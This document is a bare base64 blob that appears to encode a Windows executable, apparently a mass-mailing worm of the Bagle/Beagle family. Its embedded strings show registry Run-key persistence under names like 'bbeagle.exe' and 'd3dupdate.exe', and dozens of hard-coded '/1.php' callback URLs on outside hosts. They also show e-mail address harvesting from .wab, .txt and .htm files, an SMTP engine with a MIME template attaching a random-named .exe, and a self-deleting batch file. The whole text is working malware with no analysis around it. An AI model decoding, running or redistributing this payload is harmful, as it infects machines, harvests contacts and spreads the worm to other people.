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
V0AA6CQPAABqAFBorFdAAFPoZA8AAGoPaAAEAAD/dfxT6NX2//+FwHRs/3X86Cn9//89MzU0
AHVd/3X46I3w//+LVfiLEo1F7FBoAAQAAP918P91+P9SDIN97AB2FGoA/3Xs/3XwU+gODwAA
hcB+JuvPag9oAAQAAP91/FPoefb//4XAdBD/dfzozfz//z0yNTAAdQFHU+iuDgAA/3X86KHv
////dfDoLA4AAP91+OiR7////3X06Inv//+Lx1tfXsnCDABVi+xWU2pAagD/dQzowg4AAAvA
dB9AUOgw/P//i/ALwHQSVv91CP91DOh5AwAAVujfDQAAW17JwggAVYvsU1ZXi3UQVugeDgAA
UIt9FGoQakDotw0AAIvYi1UIi00MgzoAdQSJGusHUYsJiVkIWYkZWIPABFBqQOiRDQAAiQP/
dRBQ6NoNAACJewT/dRiPQwxfXlvJwhQAVYvsgcQk////jUXQUOg0DQAAah6NReFQaLxXQACN
RdBQagBqCegKDQAAjUXhUP91COiUDQAAah6NReFQaNBXQACNRdBQaghqCegWDQAAjUXhUP91
COhkDQAAjYUk////UOgEDQAAi4Uk////99iZuTwAAAD3+YXSfQL32lJQaNpXQACNReFQ6EoN
AACDxBCAfeEwdQTGReErjUXhUP91COgZDQAAycIEAFWL7IPEsGoUjUXiUOhK6v//ahONReJQ
6GLq//+NRbBQ6DL///9qQGoA/3UM6GINAAALwHQjkv91EFKNReJQ/3UM/3UIjUWwUGisVEAA
/3UU6NgMAACDxCDJwhAAVYvsg8TYjUX8UOjC7f//aAAIAABqQOhWDAAAiUXYah6NRd5Q6Nbp
//9qD41F3lDoDur///912I1F3lD/dQj/dQzoXv////912Oh9DAAAi1X8ixJqAFD/ddj/dfz/
UhCNRd5QaD5VQAD/ddjoYQwAAIPEDP912OhQDAAAi1X8ixJqAFD/ddj/dfz/UhCLVfyLEmoA
aixoZ1ZAAP91/P9SEItV/IsSagBqAmjjV0AA/3X8/1IQjUXeUGieVUAA/3XY6AwMAACDxAz/
ddjo+wsAAItV/IsSagBQ/3XY/3X8/1IQi1X8ixJqAP81GH9AAP81FH9AAP91/P9SEI1F3lBo
TVZAAP912OjGCwAAg8QM/3XY6LULAACLVfyLEmoAUP912P91/P9SEP912OhICwAAi0X8ycII
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
5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91
DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/
dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM
6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI
jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v//
hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+
////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v//
UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q
6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+
//9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1
oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/
//9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij
AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo////
dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+
Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA
6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA
AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA
QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA
QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA
QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA
QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA
QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB
QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA
QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA
QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA
REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE
AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA
WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD
AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA
JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF
AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA
zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA
AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA
HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA
5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE
AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA
iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG
AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA
TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z
ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA
Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA
RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp
bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl
QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu
Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU
aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA
YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB
TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4
AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C
V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA
uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz
cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA
Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA
aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0
AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA
b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B
AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l
Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu
ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA
rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw
aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA
AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt
aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl
LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy
ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3
Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw
Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0
dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu
LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu
cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu
NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z
dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6
Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu
cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4
ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy
YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93
d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv
MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz
aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
